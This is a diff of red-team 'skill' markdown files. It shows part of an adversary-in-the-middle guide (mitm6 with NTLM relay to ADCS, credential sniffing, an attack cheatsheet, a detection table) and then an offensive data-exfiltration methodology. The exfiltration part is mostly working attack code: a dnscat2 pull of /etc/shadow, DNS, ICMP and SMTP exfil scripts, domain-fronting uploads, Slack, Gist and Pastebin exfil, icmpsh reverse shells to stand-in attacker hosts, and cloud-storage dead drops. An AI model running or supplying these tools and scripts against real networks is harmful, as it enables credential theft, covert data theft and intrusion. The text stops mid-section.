+### NTLM Relay via IPv6
-# For bulk flooding (DoS): sudo flood_router6 eth0 (THC-IPv6 toolkit)
-# Combine with rogue DNS (dnschef on IPv6) for full traffic interception
-# Detection note: RA Guard blocks this but most orgs have not deployed it
+```bash
+sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn
+impacket-ntlmrelayx -6 -t http://ca.corp.local/certsrv/certfnsh.asp \
+ -smb2support --adcs --template Machine # relay to ADCS for cert theft
```
---
-## Network Sniffing
+## Sniffing and Traffic Analysis
+
+Passive sniffing generates zero noise. Start here before any active technique.
+
+### tcpdump
+
+```bash
+sudo tcpdump -i eth0 -w capture.pcap -nn # full capture
+sudo tcpdump -i eth0 -w auth.pcap -nn 'port 21 or port 23 or port 25 or port 445 or port 80'
+sudo tcpdump -i eth0 -w broadcast.pcap -nn 'udp port 5355 or udp port 137 or udp port 5353'
+sudo tcpdump -i eth0 -w dhcp.pcap -nn 'udp port 67 or udp port 68'
+```
+
+### Wireshark Display Filters
-Passive traffic analysis reveals credentials, internal services, network architecture, and communication patterns without generating any attack traffic.
+```text
+http.authbasic HTTP Basic Auth
+ftp.request.command == "PASS" FTP password
+smtp.req.parameter contains "AUTH" SMTP auth
+ntlmssp NTLM SSP traffic
+ntlmssp.auth.username NTLM username
+smb2.cmd == 1 SMB session setup
+dns.qry.name contains "wpad" WPAD queries
+llmnr LLMNR broadcast
+arp.duplicate-address-detected ARP anomalies
+vlan 802.1Q frames
+snmp.community SNMP strings
+kerberos.msg.type == 10 Kerberos AS-REQ
+```
-### Targeted Capture and Credential Extraction
+### Credential Extraction
```bash
-# Capture authentication traffic by protocol
-sudo tcpdump -i eth0 -w /tmp/smb.pcap 'port 445 or port 139'
-sudo tcpdump -i eth0 -w /tmp/cleartext.pcap 'port 21 or port 23 or port 389'
-sudo tcpdump -i eth0 -w /tmp/full_capture.pcap
-
-# Automatic credential extraction from pcap (NTLM, HTTP, FTP, SMTP, SNMP)
-sudo python3 Pcredz -f /tmp/full_capture.pcap
-
-# Real-time credential sniffing
-sudo python3 net-creds.py -i eth0
-
-# Key Wireshark display filters:
-# ntlmssp.messagetype == 0x00000003 (NTLM auth)
-# kerberos.msg.type == 10 (Kerberos AS-REQ)
-# http.request.method == "POST" (HTTP credentials)
-# ftp.request.command == "USER" || ftp.request.command == "PASS"
-# snmp.community (SNMP community strings)
+python3 Pcredz -f capture.pcap # from pcap
+sudo python2 net-creds.py -i eth0 # real-time
+tshark -r capture.pcap -Y "http.request.method == POST" \
+ -T fields -e http.host -e http.request.uri -e urlencoded-form.value # HTTP POST
```
---
## Detection / Defender View
-| Attack | Detection Method | Defensive Control |
-|---|---|---|
-| ARP spoofing | Duplicate IP-MAC mappings, ARP storm alerts, IDS signatures | Dynamic ARP Inspection (DAI), static ARP entries for critical hosts |
-| LLMNR/NBT-NS poisoning | Multicast traffic spikes, unexpected SMB auth to unknown hosts | Disable LLMNR and NBT-NS via GPO, use DNS suffixes |
-| DNS poisoning | Mismatched DNS responses, TTL anomalies, multiple answers for one query | DNSSEC, DNS monitoring, outbound DNS restricted to authorized resolvers |
-| SSL stripping | HTTP connections to known HTTPS-only services, certificate warnings | HSTS preloading, certificate pinning, TLS inspection on egress proxy |
-| VLAN hopping | DTP negotiation from access ports, frames with unexpected VLAN tags | Disable DTP on all access ports, set native VLAN to unused VLAN |
-| DHCP attacks | Multiple DHCP requests from different MACs on one port, rogue DHCP offers | DHCP snooping, port security with MAC limits |
-| 802.1X bypass | Multiple MACs on an authenticated port, MAC address changes | 802.1X with per-MAC authentication, MACSec encryption |
-| IPv6 attacks | Unexpected Router Advertisements, DHCPv6 from unknown sources | RA Guard, DHCPv6 Guard, disable IPv6 if not used |
-| Network sniffing | Promiscuous mode detection, unusual traffic volume on monitoring ports | Network encryption (IPsec, MACSec), switch port monitoring |
-
-Network defenders should prioritize: enabling DAI and DHCP snooping on all switches, disabling LLMNR/NBT-NS enterprise-wide, enforcing SMB signing, deploying RA Guard on IPv6-capable switches, and setting all access ports to nonegotiate mode with a dedicated unused native VLAN.
+| Attack | Primary Detection | Key Indicators |
+|--------|------------------|----------------|
+| ARP Spoofing | Duplicate MAC for gateway IP, ARP storms | DAI logs, IDS ARP anomaly signatures |
+| LLMNR/NBT-NS Poisoning | Unexpected multicast responses, SMB auth to unknown hosts | Event 4697, network IDS, LLMNR traffic spikes |
+| DNS Poisoning | Mismatched DNS responses, TTL anomalies | DNS query logs, RPZ alerts, DNSSEC validation failures |
+| MITM / SSL Strip | HTTP on known HTTPS-only services, cert warnings | HSTS preload failures, proxy logs, certificate transparency |
+| VLAN Hopping | DTP frames from access ports, double-tagged frames | Switch port security logs, unexpected 802.1Q frames |
+| DHCP Starvation | Rapid DHCP discover flood from random MACs | DHCP snooping violations, unusual OUI patterns |
+| Rogue DHCP | Multiple DHCP offers, conflicting gateway/DNS | DHCP snooping trusted port violations |
+| 802.1X Bypass | MAC flapping, multiple MACs on authenticated port | Port security violations, 802.1X re-auth failures |
+| IPv6 SLAAC/DHCPv6 | Unexpected RAs, DHCPv6 from unknown source | RA Guard violations, NDPMon alerts |
+| Passive Sniffing | Promiscuous NIC mode | Promiscuous detection scripts, switch SPAN alerts |
+
+Defender controls you will encounter:
+
+- **Dynamic ARP Inspection (DAI)** -- validates ARP against DHCP snooping table; blocks ARP spoofing.
+- **DHCP Snooping** -- restricts DHCP to trusted ports; prevents rogue DHCP and starvation.
+- **Port Security** -- limits MACs per port; blocks starvation and MAB spoofing.
+- **RA Guard** -- filters unauthorized Router Advertisements; blocks mitm6/SLAAC.
+- **SMB Signing / LDAP Signing+Channel Binding** -- blocks NTLM relay.
+- **Native VLAN hardening** (unused VLAN as native) -- defeats double tagging.
+- **Private VLANs** -- prevents same-VLAN host-to-host traffic; limits ARP spoof scope.
+- **NDR** (Darktrace, Vectra, ExtraHop) -- detects anomalous lateral traffic.
---
## Engagement Cheatsheet
```text
-PRE-ENGAGEMENT
- [ ] Written authorization specifying which network segments are in scope
- [ ] Coordination with network operations (maintenance window for disruptive tests)
- [ ] Rollback procedures documented for ARP, DHCP, and VLAN attacks
- [ ] Attack machine configured: IP forwarding, tool dependencies, capture storage
- [ ] Baseline network scan completed (know what is normal before you disrupt it)
-
-PASSIVE RECONNAISSANCE
- [ ] Network sniffing: identify subnets, VLANs, gateways, DNS servers
- [ ] Responder in analyze mode: observe broadcast name resolution traffic
- [ ] Identify high-value targets: domain controllers, file servers, admin workstations
- [ ] Map VLAN assignments and inter-VLAN routing
-
-ACTIVE EXPLOITATION
- [ ] Responder poisoning: capture NTLMv2 hashes from LLMNR/NBT-NS
- [ ] ARP spoofing: targeted MITM against specific hosts (not broadcast)
- [ ] VLAN hopping: attempt DTP negotiation, double tagging
- [ ] IPv6 attacks: mitm6 for DNS takeover and credential relay
- [ ] DHCP attacks: rogue server deployment (coordinate with blue team)
- [ ] Crack captured hashes; relay where cracking is impractical
-
-POST-ENGAGEMENT
- [ ] Stop all poisoning and spoofing; verify network has recovered
- [ ] Confirm no residual ARP cache corruption on critical hosts
- [ ] Remove rogue DHCP leases and IPv6 router advertisements
- [ ] Compile intercepted credentials, captured traffic, and network gaps
- [ ] Recommendations: DAI, DHCP snooping, LLMNR disable, SMB signing,
- RA Guard, switch port hardening, network segmentation review
+SCENARIO TECHNIQUE TOOL / COMMAND
+------------------------------------ --------------------------- ------------------------------------------------
+Harvest creds passively LLMNR/NBT-NS poisoning responder -I eth0 -wrf
+Creds captured, won't crack NTLM relay ntlmrelayx -tf targets.txt -smb2support
+MITM a specific host ARP spoof + sniff bettercap: arp.spoof on + net.sniff on
+Intercept HTTPS traffic SSL strip + HSTS bypass sslstrip+ / dns2proxy / bettercap http.proxy
+Reach another VLAN DTP trunk negotiation yersinia dtp -attack 1
+Reach VLAN (DTP disabled) Double tagging scapy: Dot1Q(vlan=1)/Dot1Q(vlan=target)
+Exhaust DHCP, become gateway Starvation + rogue DHCP dhcpstarv + dnsmasq rogue config
+Bypass 802.1X (MAB fallback) MAC spoofing macchanger -m <auth_mac> eth0
+Bypass 802.1X (physical) Bridge insertion ip link add br0 type bridge
+IPv6 DNS takeover + relay SLAAC/DHCPv6 poisoning mitm6 -d domain + ntlmrelayx -6
+Passive recon only Traffic sniffing tcpdump -i eth0 -w capture.pcap
+Extract creds from capture Credential extraction PCredz -f capture.pcap / net-creds
+Disrupt STP topology STP root bridge attack yersinia stp -attack 4
+Poison from Windows foothold Windows-native poisoning Inveigh -LLMNR Y -NBNS Y
```
+MITRE ATT&CK references:
+
+- T1557 -- Adversary-in-the-Middle
+- T1557.001 -- LLMNR/NBT-NS Poisoning and SMB Relay
+- T1557.002 -- ARP Cache Poisoning
+- T1557.003 -- DHCP Spoofing
+- T1040 -- Network Sniffing
+- T1599 -- Network Boundary Bridging
+
---
## Key References
-- MITRE ATT&CK T1557 -- Adversary-in-the-Middle (T1557.001 LLMNR/NBT-NS, T1557.002 ARP Cache Poisoning, T1557.003 DHCP Spoofing)
-- MITRE ATT&CK T1040 -- Network Sniffing
-- Bettercap -- https://www.bettercap.org
-- Responder -- https://github.com/lgandx/Responder
-- mitm6 -- https://github.com/dirkjanm/mitm6
-- Ettercap -- https://www.ettercap-project.org
-- Inveigh -- https://github.com/Kevin-Robertson/Inveigh
-- impacket (ntlmrelayx) -- https://github.com/fortra/impacket
-- THC-IPv6 -- https://github.com/vanhauser-thc/thc-ipv6
-- Yersinia -- https://github.com/tomac/yersinia
-- Wireshark -- https://www.wireshark.org
-- PCredz -- https://github.com/lgandx/PCredz
+- Bettercap documentation: https://www.bettercap.org/modules/
+- Responder: https://github.com/lgandx/Responder
+- mitm6: https://github.com/dirkjanm/mitm6
+- Impacket (ntlmrelayx): https://github.com/fortra/impacket
+- Ettercap: https://www.ettercap-project.org/
+- Yersinia: https://github.com/tomac/yersinia
+- THC-IPV6: https://github.com/vanhauser-thc/thc-ipv6
+- Inveigh: https://github.com/Kevin-Robertson/Inveigh
+- Scapy: https://scapy.readthedocs.io/
+- PCredz: https://github.com/lgandx/PCredz
+- Singularity (DNS rebinding): https://github.com/nccgroup/singularity
+- The Hacker Recipes -- NTLM relay: https://www.thehacker.recipes/ad/movement/ntlm/relay
+- MITRE ATT&CK T1557: https://attack.mitre.org/techniques/T1557/
+- MITRE ATT&CK T1040: https://attack.mitre.org/techniques/T1040/
diff --git a/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md b/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md
index d2eb163..3cc473f 100644
--- a/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md
+++ b/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md
@@ -1,600 +1,550 @@
---
name: offensive-data-exfiltration
-description: "Comprehensive data exfiltration tradecraft for authorized red team engagements covering covert channel techniques and data staging. DNS exfiltration via dnscat2, iodine, and custom TXT/CNAME tunneling constructs label-encoded data into DNS queries that traverse firewalls permitting UDP/53. HTTPS tunneling through stunnel, domain fronting, and CDN abuse hides exfiltration in legitimate TLS traffic. ICMP tunneling with icmpsh and ptunnel embeds data in echo request/reply payloads. Cloud storage dead drops leverage pre-signed URLs on S3, Azure Blob, and GCS to stage data through trusted cloud endpoints. Email-based exfiltration routes data through SMTP/IMAP channels. Steganography techniques embed data in image, audio, and document files using LSB encoding and metadata injection. Covers data staging, compression, encryption, chunking strategies, encoding schemes (base64, hex, custom alphabets), and covert timing channels. Physical vectors include USB dead drops and QR code exfiltration for air-gapped environments. Tools: dnscat2, iodine, PacketWhisper, chisel, stunnel. Maps to MITRE ATT&CK T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), and sub-techniques. Includes detection indicators and a rapid engagement cheatsheet."
+description: "Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and data staging (compression, splitting, encryption). Tools: dnscat2, iodine, dns2tcp, PacketWhisper, chisel, stunnel, icmpsh, ptunnel-ng, steghide, zsteg, OpenStego. MITRE ATT&CK: T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), T1029 (Scheduled Transfer), T1030 (Data Transfer Size Limits), T1132 (Data Encoding), T1001 (Data Obfuscation). Use when planning or executing data exfiltration during authorized red team engagements or post-exploitation."
---
-# Offensive Data Exfiltration
-
-Data exfiltration is the final objective of many engagements -- extracting
-target data to prove impact and demonstrate what an adversary could steal.
-You move data from the compromised environment to attacker-controlled
-infrastructure using channels that bypass network security controls. The
-choice of exfiltration method depends on what egress protocols the network
-permits, what DLP controls are in place, the volume of data, and the stealth
-requirements of the engagement.
-
-This skill covers DNS tunneling, HTTPS tunneling, ICMP tunneling, cloud
-storage abuse, email exfiltration, steganography, data staging techniques,
-and physical exfiltration vectors. Apply these in authorized engagements only.
+# Data Exfiltration -- Offensive Methodology
## Quick Workflow
-1. Identify permitted egress protocols (DNS, HTTPS, ICMP, SMTP).
-2. Stage target data -- compress, encrypt, and chunk it.
-3. Select an exfiltration channel matching available egress.
-4. Test the channel with small benign data before moving real payloads.
-5. Throttle transfer rate to avoid volumetric detection.
-6. Validate data integrity on receipt (checksums).
-7. Document the exfiltration path and volume for your engagement report.
+1. **Inventory target data.** Map files, databases, credentials. Assess volume and classification.
+2. **Stage.** Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
+3. **Compress and split.** Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
+4. **Encrypt.** AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
+5. **Select channel.** DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
+6. **Transmit.** Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
+7. **Verify receipt.** Recompute SHA-256 on the receiving end and compare against source manifest.
+8. **Clean up.** Securely delete staging, temp files, dropped tools, and any scheduled tasks.
---
-## Data Staging and Preparation
+## DNS Exfiltration
-Before exfiltrating, you prepare the data to minimize transfer volume, avoid
-content inspection, and ensure integrity. Always encrypt exfiltrated data --
-you are responsible for protecting it during the engagement.
+MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS
-### Compression and Archiving
+### dnscat2
```bash
-# Compress and archive target files
-tar czf /tmp/.cache/loot.tar.gz /path/to/sensitive/data/
+# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
+ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret
-# Split into chunks for protocols with size constraints (DNS, ICMP)
-split -b 64k /tmp/.cache/loot.tar.gz /tmp/.cache/chunk_
+# Client on target
+./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret
-# On Windows
-powershell Compress-Archive -Path C:\Users\target\Documents\* -DestinationPath C:\Users\Public\data.zip
+# Server console -- file transfer
+session -i 1
+download /etc/shadow /tmp/loot/shadow
+```
+
+```bash
+# Force CNAME queries to avoid TXT-based detection
+./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
```
-### Encryption
+### iodine Tunneling
```bash
-# Encrypt with AES-256 before exfiltration
-openssl enc -aes-256-cbc -salt -pbkdf2 -in loot.tar.gz -out loot.enc -k "engagement_key_2024"
+# Server (authoritative NS)
+iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com
-# GPG encryption (asymmetric, preferred for multi-operator engagements)
-gpg --recipient operator@redteam --encrypt loot.tar.gz
+# Client -- creates dns0 interface at 10.0.0.2
+iodine -f -P ExfilPassword tunnel.yourdomain.com
+scp /tmp/staged.tar.enc [email protected]:/loot/
```
-### Encoding for Protocol Constraints
+### dns2tcp
```bash
-# Base64 encode for protocols that require printable characters
-base64 loot.enc > loot.b64
+# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
+dns2tcpd -f /etc/dns2tcpd.conf
-# Hex encode for DNS label-safe encoding
-xxd -p loot.enc > loot.hex
-
-# Base32 encode (DNS-safe, no special characters)
-python3 -c "import base64; data=open('loot.enc','rb').read(); print(base64.b32encode(data).decode())" > loot.b32
+# Client -- tunnel SSH over DNS
+dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
+ssh -p 2222 [email protected]
```
+### TXT/CNAME Record Encoding
+
```python
-# Custom encoding for DNS labels (max 63 chars per label, 253 total)
-import base64
+import base64, dns.resolver
+
+def dns_exfil(data, domain, chunk_size=60):
+ encoded = base64.b32encode(data).decode()
+ for seq, i in enumerate(range(0, len(encoded), chunk_size)):
+ query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
+ try: dns.resolver.resolve(query, "TXT")
+ except Exception: pass # data is in the query itself
+```
+
+### Slow-Drip DNS
-def encode_for_dns(data, domain, chunk_size=60):
- """Encode binary data into DNS-safe queries."""
- encoded = base64.b32encode(data).decode().rstrip('=').lower()
- queries = []
- for i in range(0, len(encoded), chunk_size):
- chunk = encoded[i:i+chunk_size]
- query = f"{chunk}.{domain}"
- queries.append(query)
- return queries
+```python
+import random, time, base64, dns.resolver
+
+def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
+ encoded = base64.b32encode(data).decode()
+ for seq, i in enumerate(range(0, len(encoded), 60)):
+ query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
+ try: dns.resolver.resolve(query, "A")
+ except Exception: pass
+ time.sleep(random.uniform(min_delay, max_delay))
```
+PacketWhisper exfiltrates via DNS without owning a server -- encodes data as queries captured from a PCAP: `python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1`.
+
---
-## DNS Exfiltration
+## HTTPS Tunneling
-DNS is the most reliable exfiltration channel because nearly every network
-permits outbound DNS queries. You encode data into DNS query labels or TXT
-record responses, routing it through a DNS server you control.
+MITRE: T1041 -- Exfiltration Over C2 Channel; T1071.001 -- Web Protocols
-### dnscat2
+### stunnel
-dnscat2 creates a command-and-control channel over DNS with built-in file
-transfer, port forwarding, and interactive shell capabilities.
+Server wraps a port 8080 listener in TLS on 443. Client: `stunnel -c -d 127.0.0.1:9090 -r attacker.com:443`, then `cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090`.
+
+### Domain Fronting via CDN
```bash
-# On your authoritative DNS server (attacker infrastructure)
-# Set up NS records: exfil.yourdomain.com -> your_server_ip
-dnscat2-server exfil.yourdomain.com
+# Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server
+curl -s -H "Host: your-collection.azureedge.net" \
+ --data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload
+
+# chisel full tunnel behind CDN
+chisel server --port 443 --reverse --auth user:pass # server side
+chisel client --header "Host: your-collection.azureedge.net" \
+ https://legitimate-cdn-domain.com R:socks # client side
+```
-# On the compromised host
-./dnscat2 exfil.yourdomain.com
+### Legitimate Service Abuse
-# In the dnscat2 server console
-windows # List active sessions
-window -i 1 # Interact with session 1
-download C:\Users\admin\Documents\secrets.docx /tmp/loot/secrets.docx
-upload /tmp/tools/mimikatz.exe C:\Users\Public\m.exe
-shell # Get an interactive shell
+```bash
+# Slack webhook
+curl -X POST -H 'Content-type: application/json' \
+ --data "{\"text\":\"$(base64 /tmp/chunk_001.enc)\"}" \
+ https://hooks.slack.com/services/T00/B00/XXX
```
-```bash
-# dnscat2 with encryption and custom options
-dnscat2 --dns "domain=exfil.yourdomain.com,type=TXT" --secret=shared_key_here
+```python
+# GitHub Gist -- private gist per chunk
+import requests, base64
+def gist_exfil(data, token):
+ requests.post("https://api.github.com/gists",
+ json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}},
+ headers={"Authorization": f"token {token}"})
+```
-# Limit query types to evade detection
-dnscat2 --dns "domain=exfil.yourdomain.com,type=CNAME"
-dnscat2 --dns "domain=exfil.yourdomain.com,type=MX"
+```powershell
+# Pastebin API from Windows
+$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc"))
+Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
+ api_dev_key="KEY"; api_option="paste"; api_paste_code=$data; api_paste_private="2"}
```
-### iodine
+---
-iodine creates a full IP tunnel over DNS, giving you a virtual network
-interface through DNS queries. Higher throughput than dnscat2 but noisier.
+## ICMP Tunneling
-```bash
-# On your DNS server (set up NS delegation first)
-iodined -f -c -P strongpassword 10.0.0.1/24 exfil.yourdomain.com
+MITRE: T1048.003 -- Non-Application Layer Protocol
-# On the compromised host
-iodine -f -P strongpassword exfil.yourdomain.com
+### icmpsh
-# This creates a dns0 interface with a 10.0.0.x address
-# You can now tunnel any TCP/UDP traffic through it
-scp -o "ProxyCommand nc -X 5 -x 127.0.0.1:1080 %h %p" loot.enc [email protected]:/tmp/loot/
+```bash
+# Attacker
+sysctl -w net.ipv4.icmp_echo_ignore_all=1
+python3 icmpsh_m.py attacker_ip target_ip
```
-### Custom DNS Tunneling
+Target (Windows): `icmpsh.exe -t attacker_ip -d 500 -b 30 -s 128`
+
+### ptunnel-ng
```bash
-# Manual TXT record exfiltration with dig
-# Encode data chunks as subdomain labels
-for chunk in $(cat loot.hex | fold -w 60); do
- dig +short ${chunk}.data.exfil.yourdomain.com TXT @8.8.8.8
- sleep $(( RANDOM % 5 + 2 )) # Jitter to avoid detection
-done
+ptunnel-ng -r0.0.0.0 -R22 # server (attacker)
+ptunnel-ng -p attacker_ip -l 2222 -r 127.0.0.1 -R 22 # client (target)
+scp -P 2222 /tmp/staged.tar.enc [email protected]:/loot/
```
-```python
-# Python DNS exfiltration with jitter
-import dns.resolver, base64, time, random
-
-def exfil_dns(filepath, domain, delay_range=(1, 5)):
- """Exfiltrate a file via DNS queries with timing jitter."""
- with open(filepath, 'rb') as f:
- data = f.read()
- encoded = base64.b32encode(data).decode().rstrip('=').lower()
- seq = 0
- for i in range(0, len(encoded), 60): # 60 chars per label (max 63)
- query = f"{seq:04d}.{encoded[i:i+60]}.d.{domain}"
- try:
- dns.resolver.resolve(query, 'A')
- except Exception:
- pass # Data is in the query itself
- seq += 1
- time.sleep(random.uniform(*delay_range))
-```
-
-### PacketWhisper
-
-PacketWhisper uses DNS queries to exfiltrate data without requiring you to
-own a DNS server. It encodes data as queries for random-looking domains and
-captures them from a PCAP on the network path.
+### Raw ICMP Embedding
-```bash
-# On the compromised host -- generate DNS queries
-python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1
+```python
+import struct, socket
-# On the capture point -- extract data from PCAP
-python3 packetwhisper.py --mode receive --pcap capture.pcap --cipher_num 1
+def icmp_exfil(data, dest_ip, chunk_size=48):
+ sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
+ for seq, i in enumerate(range(0, len(data), chunk_size)):
+ chunk = data[i:i+chunk_size]
+ hdr = struct.pack("!BBHHH", 8, 0, 0, 0x1337, seq)
+ pkt = hdr + chunk
+ s = sum(struct.unpack("!%dH" % (len(pkt)//2), pkt[:len(pkt)&~1]))
+ if len(pkt) % 2: s += pkt[-1] << 8
+ s = (s >> 16) + (s & 0xFFFF); s += s >> 16
+ hdr = struct.pack("!BBHHH", 8, 0, ~s & 0xFFFF, 0x1337, seq)
+ sock.sendto(hdr + chunk, (dest_ip, 0))
+ sock.close()
```
-OPSEC note: DNS exfiltration is detectable by monitoring query volume, label
-entropy, query frequency to uncommon domains, and TXT record sizes. Rate-limit
-your queries and add realistic jitter. Use CNAME or A record types instead
-of TXT where possible, as TXT queries to uncommon domains are a known indicator.
+Keep payloads under 64 bytes to match standard ping. Larger payloads increase throughput but trigger IDS.
---
-## HTTPS Tunneling and Domain Fronting
+## Cloud Storage Dead Drops
-HTTPS exfiltration blends with normal web traffic. Domain fronting routes
-your traffic through a legitimate CDN so the visible SNI and Host header
-point to a trusted domain.
+MITRE: T1567.002 -- Exfiltration to Cloud Storage
-### stunnel
+### S3 Presigned URLs
-```bash
-# On your attack server -- stunnel listener
-cat << 'EOF' > /etc/stunnel/exfil.conf
-[exfil]
-accept = 443
-connect = 127.0.0.1:8080
-cert = /etc/stunnel/server.pem
-EOF
-stunnel /etc/stunnel/exfil.conf
-
-# On the compromised host -- tunnel traffic through TLS
-# stunnel client configuration
-cat << 'EOF' > stunnel-client.conf
-[exfil]
-client = yes
-accept = 127.0.0.1:9090
-connect = attacker.com:443
-EOF
-stunnel stunnel-client.conf
-
-# Now send data through the tunnel
-curl -X POST -d @loot.enc http://127.0.0.1:9090/upload
-```
-
-### Domain Fronting
+```python
+import boto3
+def s3_upload_url(bucket, key, expiry=3600):
+ return boto3.client("s3").generate_presigned_url(
+ "put_object", Params={"Bucket": bucket, "Key": key}, ExpiresIn=expiry)
+```
```bash
-# Domain fronting through a CDN
-# The TLS SNI shows "legitimate-site.cdn.com"
-# The HTTP Host header carries your actual C2 domain
-curl -H "Host: exfil.yourdomain.com" https://legitimate-site.cdn.com/upload \
- -X POST --data-binary @loot.enc
+curl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."
+```
-# Using a cloud function as a redirector
-# Deploy a simple function on a cloud provider that forwards to your server
-# Traffic appears as legitimate cloud API calls
+### Azure Blob SAS Tokens
+
+```powershell
+$ctx = New-AzStorageContext -StorageAccountName "exfilacct" -StorageAccountKey "..."
+$sas = New-AzStorageBlobSASToken -Container "drops" -Blob "d.enc" -Permission w `
+ -ExpiryTime (Get-Date).AddHours(2) -Context $ctx
+Invoke-RestMethod -Uri "https://exfilacct.blob.core.windows.net/drops/d.enc$sas" `
+ -Method PUT -Headers @{"x-ms-blob-type"="BlockBlob"} -InFile "C:\staged\data.enc"
```
+### GCS Signed URLs
+
```python
-# HTTPS exfiltration with chunked transfer and domain fronting
-import requests, os
-
-def exfil_https(filepath, fronting_domain, real_host, chunk_size=1048576):
- """Exfiltrate via HTTPS with domain fronting in 1MB chunks."""
- session = requests.Session()
- with open(filepath, 'rb') as f:
- chunk_num = 0
- while chunk := f.read(chunk_size):
- session.post(
- f'https://{fronting_domain}/api/telemetry',
- data=chunk,
- headers={'Host': real_host, 'Content-Type': 'application/octet-stream',
- 'X-Request-ID': f'{chunk_num:06d}'}
- )
- chunk_num += 1
-```
-
-### Cloud Storage Dead Drops
+from google.cloud import storage
+import datetime
+def gcs_upload_url(bucket_name, blob_name, minutes=60):
+ blob = storage.Client().bucket(bucket_name).blob(blob_name)
+ return blob.generate_signed_url(version="v4", method="PUT",
+ expiration=datetime.timedelta(minutes=minutes), content_type="application/octet-stream")
+```
-```bash
-# Generate a pre-signed S3 upload URL on your account
-aws s3 presign s3://exfil-bucket/drop/loot.enc --expires-in 3600
+Presigned URLs need no credentials on the target. Rotate buckets between drops.
-# On the compromised host -- upload using the pre-signed URL (no AWS CLI needed)
-curl -X PUT -T loot.enc "https://exfil-bucket.s3.amazonaws.com/drop/loot.enc?X-Amz-Algorithm=AWS4-HMAC-SHA256&..."
+---
-# Azure Blob Storage with SAS token
-curl -X PUT -H "x-ms-blob-type: BlockBlob" --data-binary @loot.enc \
- "https://exfilstore.blob.core.windows.net/drop/loot.enc?sv=2021-06-08&ss=b&srt=o&sp=w&se=..."
+## Email-Based Exfiltration
-# Google Cloud Storage signed URL
-curl -X PUT -T loot.enc "https://storage.googleapis.com/exfil-bucket/loot.enc?X-Goog-Signature=..."
-```
+MITRE: T1048.002 -- Asymmetric Encrypted Non-C2 Protocol
-OPSEC note: Pre-signed URLs require no credentials on the compromised host.
-Traffic appears as legitimate HTTPS to major cloud providers. DLP systems
-inspecting TLS content (with TLS interception) can still detect the data.
+### SMTP
----
+```python
+import smtplib
+from email.mime.base import MIMEBase
+from email.mime.multipart import MIMEMultipart
+from email import encoders
-## ICMP Tunneling
+def smtp_exfil(filepath, server, from_addr, to_addr, password):
+ msg = MIMEMultipart(); msg["From"]=from_addr; msg["To"]=to_addr; msg["Subject"]="Q3 Report"
+ with open(filepath, "rb") as f:
+ part = MIMEBase("application", "octet-stream"); part.set_payload(f.read())
+ encoders.encode_base64(part)
+ part.add_header("Content-Disposition", "attachment; filename=report.xlsx")
+ msg.attach(part)
+ with smtplib.SMTP_SSL(server, 465) as s: s.login(from_addr, password); s.send_message(msg)
+```
-ICMP tunneling embeds data in ping packets. Many networks allow ICMP echo
-even when other outbound protocols are restricted.
+### Exchange Web Services
-### icmpsh
+```python
+from exchangelib import Credentials, Account, FileAttachment, Message
+def ews_exfil(filepath, email, password, recipient):
+ account = Account(email, credentials=Credentials(email, password), autodiscover=True)
+ with open(filepath, "rb") as f:
+ att = FileAttachment(name="data.xlsx", content=f.read())
+ m = Message(account=account, subject="Updated Spreadsheet", to_recipients=[recipient])
+ m.attach(att); m.send()
+```
-```bash
-# On your attack box -- disable kernel ICMP replies and start listener
-sysctl -w net.ipv4.icmp_echo_ignore_all=1
-python3 icmpsh_m.py <ATTACK_IP> <TARGET_IP>
+### Draft Method
-# On the compromised Windows host
-icmpsh.exe -t <ATTACK_IP>
+Store data in drafts -- no email transits the network, no sent-mail evidence:
-# This gives you a reverse shell over ICMP
-# Exfiltrate by piping data through the shell
-type C:\Users\admin\secrets.txt
+```python
+from exchangelib import Account, Credentials, Message
+def draft_exfil(data_b64, email, password):
+ account = Account(email, credentials=Credentials(email, password), autodiscover=True)
+ Message(account=account, subject="", body=data_b64, is_draft=True).save(account.drafts)
```
-### ptunnel / ptunnel-ng
+---
-```bash
-# On your attack box (proxy server)
